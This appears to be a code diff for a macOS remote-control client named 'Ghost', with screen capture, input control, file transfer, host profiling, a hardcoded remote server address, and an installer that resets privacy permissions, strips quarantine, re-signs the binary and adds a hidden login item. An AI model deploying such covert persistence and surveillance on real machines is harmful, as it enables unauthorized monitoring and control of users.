if (S_ISDIR(st.st_mode)) {
std::string dirPath = path;
if (dirPath.back() != '/') dirPath += '/';
size_t pos = dirPath.rfind('/', dirPath.length() - 2);
std::string parentPath = (pos != std::string::npos) ? dirPath.substr(0, pos + 1) : dirPath;
rootCandidates.push_back(parentPath);
FileTransferV2::CollectFiles(dirPath, allFiles);
} else {
rootCandidates.push_back(path);
allFiles.push_back(path);
}
}
if (allFiles.empty()) {
NSLog(@"*** No files to send");
return;
}
std::string commonRoot = FileTransferV2::GetCommonRoot(rootCandidates);
NSLog(@">>> Sending %zu files, root=%s", allFiles.size(), commonRoot.c_str());
FileTransferV2::SendFilesV2(allFiles, targetDir, commonRoot, client, g_myClientID);
}).detach();
} else {
NSLog(@"*** COMMAND_GET_FILE: no files or empty target");
}
}
break;
default: default:
break; break;
} }
@@ -216,35 +612,67 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
{ {
m_qualityLevel = level; m_qualityLevel = level;
// TODO: persist to config file if needed
(void)persist;
if (level == QUALITY_DISABLED) { if (level == QUALITY_DISABLED) {
NSLog(@"Quality: Disabled"); // Disabled mode: keep current settings
NSLog(@"Quality: Disabled (keep current)");
return; return;
} }
// Quality profiles: [FPS, Algorithm]
// H264 provides best compression for remote desktop
// Note: macOS uses slightly higher FPS than Windows for smoother experience
static const int profiles[QUALITY_COUNT][2] = {
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
{10, ALGORITHM_RGB565}, // Level 1: Low
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
{20, ALGORITHM_H264}, // Level 3: Good
{25, ALGORITHM_H264}, // Level 4: High
{30, ALGORITHM_H264}, // Level 5: Smooth
};
if (level >= 0 && level < QUALITY_COUNT) { if (level >= 0 && level < QUALITY_COUNT) {
m_maxFPS.store(profiles[level][0]); // Get profile from commands.h (shared with Windows/Linux)
m_algorithm.store(profiles[level][1]); const QualityProfile& profile = GetQualityProfile(level);
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
// Apply FPS
m_maxFPS.store(profile.maxFPS);
// Apply algorithm (macOS supports all algorithms including H264 via VideoToolbox)
m_algorithm.store(profile.algorithm);
// Update H264 bitrate if applicable
if (profile.algorithm == ALGORITHM_H264 && profile.bitRate > 0) {
m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps
}
NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
level,
level == QUALITY_ULTRA ? "Ultra" :
level == QUALITY_HIGH ? "High" :
level == QUALITY_GOOD ? "Good" :
level == QUALITY_MEDIUM ? "Medium" :
level == QUALITY_LOW ? "Low" : "Minimal",
profile.maxFPS, profile.algorithm, profile.bitRate);
} else { } else {
// Adaptive mode (level=-1): server adjusts dynamically
NSLog(@"Quality: Adaptive mode"); NSLog(@"Quality: Adaptive mode");
} }
} }
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer) bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
{ {
// Create image from display // Try to use IOSurface from display stream (more efficient)
if (m_displayStream) {
IOSurfaceRef surface = nullptr;
{
std::lock_guard<std::mutex> lock(m_surfaceMutex);
if (m_latestSurface) {
surface = (IOSurfaceRef)CFRetain(m_latestSurface);
}
}
if (surface) {
bool result = captureFromIOSurface(surface, buffer);
CFRelease(surface);
if (result) {
return true;
}
}
// Fall through to legacy method if IOSurface failed
}
// Legacy method: CGDisplayCreateImage (fallback)
CGImageRef image = CGDisplayCreateImage(m_displayID); CGImageRef image = CGDisplayCreateImage(m_displayID);
if (!image) { if (!image) {
NSLog(@"Failed to capture screen image"); NSLog(@"Failed to capture screen image");
@@ -255,50 +683,59 @@ bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
size_t height = CGImageGetHeight(image); size_t height = CGImageGetHeight(image);
if (width != (size_t)m_width || height != (size_t)m_height) { if (width != (size_t)m_width || height != (size_t)m_height) {
// Screen resolution changed, need to reinitialize
CGImageRelease(image); CGImageRelease(image);
NSLog(@"Screen resolution changed: %zux%zu", width, height); NSLog(@"Screen resolution changed: %zux%zu", width, height);
return false; return false;
} }
// Create bitmap context to get raw pixel data
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
size_t bytesPerRow = width * 4; size_t bytesPerRow = width * 4;
size_t requiredSize = bytesPerRow * height;
// Temporary buffer for top-down BGRA if (m_tempBuffer.size() != requiredSize) {
std::vector<uint8_t> tempBuffer(bytesPerRow * height); m_tempBuffer.resize(requiredSize);
}
CGContextRef context = CGBitmapContextCreate( CGContextRef context = CGBitmapContextCreate(
tempBuffer.data(), m_tempBuffer.data(),
width, width,
height, height,
8, 8,
bytesPerRow, bytesPerRow,
colorSpace, m_colorSpace,
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little
); );
CGColorSpaceRelease(colorSpace);
if (!context) { if (!context) {
CGImageRelease(image); CGImageRelease(image);
NSLog(@"Failed to create bitmap context"); NSLog(@"Failed to create bitmap context");
return false; return false;
} }
// Draw image into context
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image); CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
CGContextRelease(context); CGContextRelease(context);
CGImageRelease(image); CGImageRelease(image);
// Flip vertically (BMP is bottom-up, CGImage is top-down) // Flip vertically using Accelerate framework
vImage_Buffer src = {
.data = m_tempBuffer.data(),
.height = (vImagePixelCount)height,
.width = (vImagePixelCount)width,
.rowBytes = bytesPerRow
};
vImage_Buffer dst = {
.data = buffer.data(),
.height = (vImagePixelCount)height,
.width = (vImagePixelCount)width,
.rowBytes = bytesPerRow
};
vImage_Error err = vImageVerticalReflect_ARGB8888(&src, &dst, kvImageNoFlags);
if (err != kvImageNoError) {
for (size_t y = 0; y < height; y++) { for (size_t y = 0; y < height; y++) {
size_t srcRow = y; memcpy(buffer.data() + (height - 1 - y) * bytesPerRow,
size_t dstRow = height - 1 - y; m_tempBuffer.data() + y * bytesPerRow,
memcpy(buffer.data() + dstRow * bytesPerRow,
tempBuffer.data() + srcRow * bytesPerRow,
bytesPerRow); bytesPerRow);
} }
}
return true; return true;
} }
@@ -559,10 +996,11 @@ uint8_t ScreenHandler::getCursorTypeIndex()
// Reuse cursor position from getCursorPosition (called before this) // Reuse cursor position from getCursorPosition (called before this)
CGPoint pos = s_cachedLogicalPos; CGPoint pos = s_cachedLogicalPos;
// Throttle: only check if cursor moved significantly or 100ms elapsed // Throttle: only check if cursor moved significantly or 250ms elapsed
// (Accessibility API is expensive, cursor type is just a visual hint)
uint64_t now = getTickMs(); uint64_t now = getTickMs();
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5); bool posChanged = (fabs(pos.x - lastPos.x) > 10 || fabs(pos.y - lastPos.y) > 10);
if (!posChanged && (now - lastCheckTime) < 100) { if (!posChanged && (now - lastCheckTime) < 250) {
return cachedIndex; return cachedIndex;
} }
lastCheckTime = now; lastCheckTime = now;
@@ -635,13 +1073,12 @@ uint8_t ScreenHandler::getCursorTypeIndex()
void ScreenHandler::captureLoop() void ScreenHandler::captureLoop()
{ {
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height); NSLog(@"ScreenHandler CaptureLoop started (%dx%d)%s", m_width, m_height,
m_displayStream ? " [CGDisplayStream]" : " [Legacy]");
uint8_t currentAlgo = m_algorithm.load(); uint8_t currentAlgo = m_algorithm.load();
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display // Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
// This matches Windows client behavior: first frame is always raw bitmap,
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
sendFirstScreen(); sendFirstScreen();
// Small delay to ensure first frame is processed before H264 stream starts // Small delay to ensure first frame is processed before H264 stream starts
@@ -650,6 +1087,23 @@ void ScreenHandler::captureLoop()
while (m_running) { while (m_running) {
uint64_t start = getTickMs(); uint64_t start = getTickMs();
// Wait for new frame from display stream (push model)
// This is key optimization: CPU sleeps when screen is static
if (m_displayStream) {
std::unique_lock<std::mutex> lock(m_surfaceMutex);
int fps = m_maxFPS.load();
if (fps <= 0) fps = 15;
int waitMs = 1000 / fps;
// Wait for new frame or timeout (maintains FPS even if no change)
m_surfaceCond.wait_for(lock, std::chrono::milliseconds(waitMs), [this] {
return m_hasNewFrame.load() || !m_running;
});
m_hasNewFrame.store(false);
if (!m_running) break;
}
uint8_t algo = m_algorithm.load(); uint8_t algo = m_algorithm.load();
// Check if algorithm changed // Check if algorithm changed
@@ -657,18 +1111,14 @@ void ScreenHandler::captureLoop()
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo); NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
currentAlgo = algo; currentAlgo = algo;
// If switching to/from H264, reset encoder
if (algo == ALGORITHM_H264) { if (algo == ALGORITHM_H264) {
// Starting H264 - will be initialized in sendH264Frame
sendH264Frame(true); // First H264 frame is keyframe sendH264Frame(true); // First H264 frame is keyframe
} else if (m_h264Encoder) { } else if (m_h264Encoder) {
// Switching away from H264 - close encoder
m_h264Encoder->close(); m_h264Encoder->close();
m_h264Encoder.reset(); m_h264Encoder.reset();
sendFirstScreen(); // Send full frame for DIFF modes sendFirstScreen();
} }
} else { } else {
// Normal frame
if (algo == ALGORITHM_H264) { if (algo == ALGORITHM_H264) {
sendH264Frame(false); sendH264Frame(false);
} else { } else {
@@ -676,6 +1126,8 @@ void ScreenHandler::captureLoop()
} }
} }
// Only use sleep-based FPS control for legacy mode
if (!m_displayStream) {
int fps = m_maxFPS.load(); int fps = m_maxFPS.load();
if (fps <= 0) fps = 10; if (fps <= 0) fps = 10;
int sleepMs = 1000 / fps; int sleepMs = 1000 / fps;
@@ -686,6 +1138,7 @@ void ScreenHandler::captureLoop()
usleep(wait * 1000); usleep(wait * 1000);
} }
} }
}
NSLog(@"ScreenHandler CaptureLoop stopped"); NSLog(@"ScreenHandler CaptureLoop stopped");
} }

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@@ -0,0 +1,122 @@
#!/bin/bash
# macOS Ghost Client 安装脚本
# 用法: ./install.sh [ghost路径]
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
APP_DIR="/Applications/GhostClient.app"
APP_BIN="$APP_DIR/Contents/MacOS/ghost"
# 源 binary 优先级:
# 1) 命令行参数显式指定
# 2) 脚本同目录的 ghost拷贝分发场景不带源码/不重编)
# 3) build/bin/ghost标准构建产物
if [ -n "$1" ]; then
GHOST_SRC="$1"
elif [ -f "$SCRIPT_DIR/ghost" ]; then
GHOST_SRC="$SCRIPT_DIR/ghost"
else
GHOST_SRC="$SCRIPT_DIR/build/bin/ghost"
fi
echo "=== GhostClient 安装程序 ==="
echo ""
# 检查源文件
if [ ! -f "$GHOST_SRC" ]; then
echo "错误: 找不到 ghost 二进制"
echo " 尝试过: $SCRIPT_DIR/ghost"
echo " 尝试过: $SCRIPT_DIR/build/bin/ghost"
echo ""
echo "请先编译: ./build.sh"
echo "或将 ghost 二进制放到脚本同目录"
echo "或指定路径: $0 <ghost可执行文件路径>"
exit 1
fi
echo "源文件: $GHOST_SRC"
echo ""
set -e
# 1. 停止旧进程
echo "[1/7] 停止旧进程..."
pkill -9 -f "$APP_BIN" 2>/dev/null || true
# 2. 重置系统权限(关键步骤!避免权限缓存导致空白桌面)
echo "[2/7] 重置系统权限..."
echo " (这会清除屏幕录制和辅助功能的旧授权,需要重新授权)"
tccutil reset ScreenCapture 2>/dev/null || true
tccutil reset Accessibility 2>/dev/null || true
# 3. 创建应用程序包
echo "[3/7] 创建应用程序..."
sudo rm -rf "$APP_DIR"
sudo mkdir -p "$APP_DIR/Contents/MacOS"
sudo mkdir -p "$APP_DIR/Contents/Resources"
# 复制 ghost 到 app bundle 内部
sudo cp "$GHOST_SRC" "$APP_BIN"
sudo chmod +x "$APP_BIN"
# 创建 Info.plist
sudo tee "$APP_DIR/Contents/Info.plist" > /dev/null << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>ghost</string>
<key>CFBundleIdentifier</key>
<string>com.ghost.client</string>
<key>CFBundleName</key>
<string>GhostClient</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>LSUIElement</key>
<true/>
</dict>
</plist>
EOF
# 4. 清除隔离属性
echo "[4/7] 清除隔离属性..."
sudo xattr -cr "$APP_DIR"
# 5. 签名应用ad-hoc 重签)
# 必须步骤Apple Silicon 上未签 / 签名失效的 binary 会被 AMFI 直接 SIGKILL。
# 常见破坏签名的场景:服务端 BuildDlg 在 Windows 端 patch 了 binary 里的服务器
# 地址 → 那一页的 SHA-256 hash 跟原签名块对不上 → AMFI 拒绝运行。
# --force 替换旧签名,--deep 覆盖 bundle 内所有可执行项,--sign - 是 ad-hoc。
echo "[5/7] 签名应用 (ad-hoc, 修复 binary 修改后的签名失效)..."
sudo codesign --force --deep --sign - "$APP_DIR"
# 6. 添加到登录项(开机自启)
echo "[6/7] 添加到登录项..."
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Applications/GhostClient.app", hidden:true}' 2>/dev/null && echo " 已添加开机自启" || echo " 添加失败,请手动添加"
# 7. 完成
echo "[7/7] 安装完成!"
echo ""
echo "========================================"
echo " 下一步: 授权系统权限"
echo "========================================"
echo ""
echo "1. 启动应用 (会自动弹出权限请求):"
echo ""
echo " open /Applications/GhostClient.app"
echo ""
echo "2. 授权以下权限 (在系统设置中勾选 GhostClient):"
echo " - 屏幕录制: 允许捕获屏幕画面"
echo " - 辅助功能: 允许控制鼠标键盘"
echo ""
echo "3. 授权后重启应用:"
echo ""
echo " pkill -f GhostClient && open /Applications/GhostClient.app"
echo ""
echo "4. 查看日志确认运行状态:"
echo ""
echo " tail -f /tmp/ghost.log"
echo ""
echo "========================================"
echo ""

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@@ -1,36 +1,149 @@
#import <Cocoa/Cocoa.h> #import <Cocoa/Cocoa.h>
#import <sys/sysctl.h> #import <sys/sysctl.h>
#import <sys/stat.h>
#import <mach/mach.h> #import <mach/mach.h>
#import <mach-o/dyld.h> #import <mach-o/dyld.h>
#import <pwd.h> #import <pwd.h>
#import <signal.h> #import <signal.h>
#import <unistd.h> #import <unistd.h>
#import <fcntl.h>
#import <IOKit/IOKitLib.h> #import <IOKit/IOKitLib.h>
#import <IOKit/pwr_mgt/IOPMLib.h>
#import <fstream> #import <fstream>
#import <thread> #import <thread>
#import <atomic> #import <atomic>
#import <memory> #import <memory>
#import <string> #import <string>
#import <map>
#import "../client/IOCPClient.h" #import "../client/IOCPClient.h"
#define XXH_INLINE_ALL #define XXH_INLINE_ALL
#include "../common/xxhash.h" #include "../common/xxhash.h"
#include "../common/rtt_estimator.h"
#include "../common/client_auth_state.h"
#include "../common/posix_net_helpers.h"
#include "../common/sub_conn_thread.h"
#import "Permissions.h" #import "Permissions.h"
#import "ScreenHandler.h" #import "ScreenHandler.h"
#import "InputHandler.h" #import "InputHandler.h"
#import "SystemManager.h" #import "SystemManager.h"
#import "../common/PTYHandler.h"
#import "../common/FileManager.h"
#import "../common/FileTransferV2.h"
#import "../common/logger.h"
#import "ClipboardHandler.h"
// Global state // Global state
static std::atomic<bool> g_running(true); static std::atomic<bool> g_running(true);
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// Client ID (calculated from system info, used by ScreenHandler) // Client ID (calculated from system info, used by ScreenHandler)
uint64_t g_myClientID = 0; uint64_t g_myClientID = 0;
// 服务端身份校验全局状态已抽到 common/client_auth_state.hnamespace ClientAuth
// 远程地址:当前为写死状态,如需调试,请按实际情况修改 // 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS }; CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
State g_bExit = S_CLIENT_NORMAL; State g_bExit = S_CLIENT_NORMAL;
// ============== Configuration File Functions ==============
// Config path: ~/.config/ghost/config.conf (same as Linux)
// Format: key=value (one per line)
static std::string g_configDir;
static std::string g_configPath;
static std::map<std::string, std::string> g_configData;
// Initialize config paths
static void initConfigPaths()
{
if (!g_configDir.empty()) return; // Already initialized
const char* home = getenv("HOME");
if (!home) {
struct passwd* pw = getpwuid(getuid());
if (pw) home = pw->pw_dir;
}
if (!home) home = "/tmp";
g_configDir = std::string(home) + "/.config/ghost";
g_configPath = g_configDir + "/config.conf";
}
// Recursively create directory
static void mkdirRecursive(const std::string& path)
{
size_t pos = 0;
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
mkdir(path.substr(0, pos).c_str(), 0755);
}
mkdir(path.c_str(), 0755);
}
// Load all config from file
static void loadConfig()
{
initConfigPaths();
g_configData.clear();
std::ifstream file(g_configPath);
if (!file.is_open()) return;
std::string line;
while (std::getline(file, line)) {
size_t eq = line.find('=');
if (eq != std::string::npos) {
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
}
}
}
// Save all config to file
static void saveConfig()
{
initConfigPaths();
mkdirRecursive(g_configDir);
std::ofstream file(g_configPath, std::ios::trunc);
if (!file.is_open()) {
NSLog(@"Failed to save config to %s", g_configPath.c_str());
return;
}
for (const auto& kv : g_configData) {
file << kv.first << "=" << kv.second << "\n";
}
NSLog(@"Config saved to %s", g_configPath.c_str());
}
// Get config string value
static std::string getConfigStr(const std::string& key, const std::string& def = "")
{
auto it = g_configData.find(key);
return it != g_configData.end() ? it->second : def;
}
// Set config string value
static void setConfigStr(const std::string& key, const std::string& value)
{
g_configData[key] = value;
saveConfig();
}
// Save group name to config file
static void saveGroupName(const std::string& groupName)
{
setConfigStr("group_name", groupName);
NSLog(@"Group name saved: %s", groupName.c_str());
}
// Load group name from config file
static std::string loadGroupName()
{
return getConfigStr("group_name");
}
// ============== System Information Functions ============== // ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma") // Get macOS version string (e.g., "macOS 14.0 Sonoma")
@@ -107,6 +220,54 @@ static std::string getUsername()
return user ? std::string(user) : "unknown"; return user ? std::string(user) : "unknown";
} }
// 读取 IOKit 维护的 IOPlatformUUID与 Windows MachineGuid 等价)
// 这是主板/系统级 UUID由 IOPlatformExpertDevice 服务提供,重装系统通常不变。
// 对应Windows HKLM\Software\Microsoft\Cryptography\MachineGuid
// Linux /etc/machine-id
static std::string getMachineId()
{
std::string result;
io_service_t platformExpert = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOPlatformExpertDevice"));
if (platformExpert != IO_OBJECT_NULL) {
CFTypeRef uuidProperty = IORegistryEntryCreateCFProperty(
platformExpert, CFSTR(kIOPlatformUUIDKey),
kCFAllocatorDefault, 0);
if (uuidProperty != nullptr) {
if (CFGetTypeID(uuidProperty) == CFStringGetTypeID()) {
CFStringRef uuidStr = (CFStringRef)uuidProperty;
char buf[64] = {};
if (CFStringGetCString(uuidStr, buf, sizeof(buf), kCFStringEncodingUTF8)) {
result = buf;
}
}
CFRelease(uuidProperty);
}
IOObjectRelease(platformExpert);
}
return result;
}
// 路径归一化macOS 版):解析符号链接 + 转小写
// realpath 把 /Applications/foo/../bar 之类折回规范形式;
// 小写化保持与 Windows/Linux 跨端一致。macOS HFS+/APFS 默认大小写不敏感,
// 转小写不改变文件标识、但避免路径串大小写差异引起 ID 不同。
static std::string normalizeExePathLower(const std::string& path)
{
char resolved[PATH_MAX] = {};
std::string out;
if (realpath(path.c_str(), resolved) != nullptr) {
out = resolved;
} else {
out = path; // 解析失败:用原值
}
for (auto& c : out) {
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
}
return out;
}
// Get screen resolution // Get screen resolution
static std::string getScreenResolution() static std::string getScreenResolution()
{ {
@@ -140,9 +301,113 @@ static std::string getTimeString()
return std::string([dateString UTF8String]); return std::string([dateString UTF8String]);
} }
// Get active application name // Get user idle time in seconds (time since last keyboard/mouse input)
static double getUserIdleTime()
{
// CGEventSourceSecondsSinceLastEventType returns seconds since last event
// kCGEventSourceStateCombinedSessionState includes all input sources
CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType(
kCGEventSourceStateCombinedSessionState,
kCGAnyInputEventType
);
// Defensive: ensure non-negative (edge case protection)
return idleTime > 0 ? idleTime : 0;
}
// Check if screen is locked
static bool isScreenLocked()
{
// Method 1: Check CGSession dictionary for screen lock status
CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary();
if (sessionDict) {
// Check for "CGSSessionScreenIsLocked" key
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
sessionDict, CFSTR("CGSSessionScreenIsLocked"));
if (screenLocked && CFBooleanGetValue(screenLocked)) {
CFRelease(sessionDict);
return true;
}
CFRelease(sessionDict);
}
// Method 2: Check if loginwindow is frontmost (screen saver / lock screen)
NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (frontApp) {
NSString* bundleId = [frontApp bundleIdentifier];
if ([bundleId isEqualToString:@"com.apple.loginwindow"] ||
[bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) {
return true;
}
}
return false;
}
// Format time as HH:MM:SS with prefix
static std::string formatStatusTime(const char* prefix, double seconds)
{
int totalSecs = (int)seconds;
int hours = totalSecs / 3600;
int mins = (totalSecs % 3600) / 60;
int secs = totalSecs % 60;
char buffer[64];
snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs);
return std::string(buffer);
}
// Get active application name or idle/locked status (works for background processes)
static std::string getActiveApp() static std::string getActiveApp()
{ {
double idleTime = getUserIdleTime();
// Check if screen is locked first
if (isScreenLocked()) {
return formatStatusTime("Locked", idleTime);
}
// Check user idle time (matches Windows/Linux: 6 seconds threshold)
// If idle for more than 6 seconds, report inactive status
if (idleTime >= 6.0) {
return formatStatusTime("Inactive", idleTime);
}
// Use CGWindowListCopyWindowInfo to get the frontmost window
// This works reliably even when running as a background/nohup process
CFArrayRef windowList = CGWindowListCopyWindowInfo(
kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
kCGNullWindowID
);
if (windowList) {
CFIndex count = CFArrayGetCount(windowList);
for (CFIndex i = 0; i < count; i++) {
CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i);
// Get window layer - layer 0 is normal windows
CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
int layer = 0;
if (layerRef) {
CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
}
// Skip non-normal windows (menu bar, dock, etc.)
if (layer != 0) continue;
// Get owner name (application name)
CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName);
if (ownerName) {
char buffer[256] = {};
if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) {
CFRelease(windowList);
return std::string(buffer);
}
}
}
CFRelease(windowList);
}
// Fallback to NSWorkspace (may not work for background processes)
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication]; NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (app) { if (app) {
NSString* name = [app localizedName]; NSString* name = [app localizedName];
@@ -179,49 +444,12 @@ static bool hasCameraDevice()
// ============== Public IP ============== // ============== Public IP ==============
// Execute command and return output // Execute command and return output
static std::string execCmd(const std::string& cmd) // execCmd / httpGet / getPublicIP 已抽到 common/posix_net_helpers.hnamespace PosixNet
{ // 这里保留同名 wrapper 避免改动调用点。Linux 端额外的 jsonExtract / getGeoLocation
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose); // macOS 暂未使用,需要时直接用 PosixNet:: 命名空间访问。
if (!pipe) return ""; static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
char buf[4096]; static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
std::string result; static inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// Trim trailing whitespace
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET using curl (macOS has curl built-in)
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
}
// Get public IP (try multiple sources)
static std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// Validate: non-empty, contains dot, reasonable length
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
return ip;
}
}
NSLog(@"getPublicIP: all sources failed");
return "";
}
// ============== Install Time (persistent storage) ============== // ============== Install Time (persistent storage) ==============
@@ -258,9 +486,25 @@ static void fillLoginInfo(LOGIN_INFOR& info)
// CPU MHz // CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz(); info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname) // PC Name (hostname) - with group name if set
std::string hostname = getHostname(); std::string hostname = getHostname();
std::string groupName = loadGroupName();
if (!groupName.empty()) {
// Also update g_SETTINGS for consistency
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
// Format: "hostname/groupname"
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
// Use group from g_SETTINGS (set at build time)
groupName = g_SETTINGS.szGroupName;
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else {
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1); strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
}
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
// Webcam // Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0; info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
@@ -325,8 +569,20 @@ static void fillLoginInfo(LOGIN_INFOR& info)
std::string resolution = getScreenResolution(); std::string resolution = getScreenResolution();
info.AddReserved(resolution.c_str()); info.AddReserved(resolution.c_str());
// 17. Client ID (calculated from system info, same algorithm as server) // 17. Client ID
// Format: pubIP|hostname|os|cpu|path // V2 算法IOPlatformUUID + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/hostname/os/CPU 漂移)
// - IOPlatformUUID 主板级,重装系统通常不变;多机各不相同
// - 读取失败时退化到老算法pubIP|hostname|os|cpu|path保兼容
std::string machineId = getMachineId();
if (!machineId.empty()) {
std::string normPath = normalizeExePathLower(exePath);
std::string idInput = machineId + "|" + normPath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
NSLog(@"ClientID(v2): %llu (machineId=%s, path=%s)",
g_myClientID, machineId.c_str(), normPath.c_str());
} else {
// 老算法兜底
char cpuStr[32]; char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz); snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" + std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
@@ -335,8 +591,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
cpuStr + "|" + cpuStr + "|" +
exePath; exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0); g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
NSLog(@"ClientID(v1 fallback): %llu (IOPlatformUUID 读取失败)", g_myClientID);
}
info.AddReserved(std::to_string(g_myClientID).c_str()); info.AddReserved(std::to_string(g_myClientID).c_str());
// 服务端签名输入:与服务端 AddList 处签名格式一致startTime + "|" + clientID
ClientAuth::g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID);
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu", NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID); osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
} }
@@ -347,6 +608,7 @@ static void signalHandler(int sig)
{ {
NSLog(@"Received signal %d, shutting down...", sig); NSLog(@"Received signal %d, shutting down...", sig);
g_running = false; g_running = false;
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
} }
static void setupSignals() static void setupSignals()
@@ -357,67 +619,74 @@ static void setupSignals()
signal(SIGPIPE, SIG_IGN); signal(SIGPIPE, SIG_IGN);
} }
// 经典 Unix 双 fork 守护进程
static void daemonize()
{
pid_t pid = fork();
if (pid < 0) exit(1);
if (pid > 0) exit(0); // 父进程退出
setsid(); // 新会话,脱离终端
pid = fork(); // 第二次 fork防止重新获取控制终端
